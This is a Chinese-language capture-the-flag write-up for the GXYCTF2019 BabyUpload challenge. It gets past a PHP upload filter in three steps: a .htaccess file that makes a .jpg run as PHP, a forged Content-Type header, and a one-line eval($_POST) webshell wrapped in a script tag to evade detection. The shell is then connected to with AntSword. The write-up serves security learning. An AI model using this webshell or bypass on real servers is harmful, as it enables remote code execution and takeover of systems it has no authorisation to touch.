[GXYCTF2019]BabyUpload
- 猜测直接上传txt会被过滤,提示“上传类型也太露骨了吧!”
- 按经验传入一个"muma.phtml"
提示过滤了“ph”相关的后缀
- 传入muma.jpg等图像格式,提示表明复原并检测了文件内容
审查文件后缀Context-type 不能有ph,image/jpeg可以
审查文件内容 不能是php
黑名单过滤
查阅wp,需要利用 .htaccess文件解析漏洞,并参考以下博客内容:
说人话就是,它可以把同目录下指定的某类后缀的文件解析成php代码执行.
原理:.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
漏洞复现篇——.htaccess文件解析漏洞
逻辑上先传一个.htaccess文件(指定jpg格式被解析为php代码执行)上去,试试会不会被过滤
如果成功,再传一个修改为php后缀的木马文件,尝试通过木马控制
如果失败,需要寻找其他方法
<FilesMatch "muma.jpg">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到muma.jpg文件,则被解析成PHP代码执行
AddHandler php5-script .jpg #在当前目录下,如果匹配到muma.jpg文件,则被解析成PHP代码执行
</FilesMatch>
文件名也被过滤了?修改文件名重新尝试
还是不行,参考多篇博文,注意php版本
更改语法格式,绕过以检测<?为方式检测php代码的手段
<? ?> —— < script language=“php”>< /script >
<script language="php"> eval($_POST['attack']);</script>
重新开始,上传.htaccess文件,必须要修改Content-Type: 为image/jpeg
参考博文:https://blog.csdn.net/RABCDXB/article/details/114297306
上传muma.jpg,成功
打开AntSword,连接木马
失败
重置靶机,修改木马文件后缀为png尝试(同样必须改Context-Type:image/png 为 image/jpeg)
成功连上
在根目录找到flag:flag{0e953d11-d228-4853-bca6-a7f86032756a}
本篇总结:
- 一句话木马的变形,以绕过某些形式上的(例如对<? ?>)php内容检测
- 什么情况下可以利用web服务器.htaccess文件解析漏洞?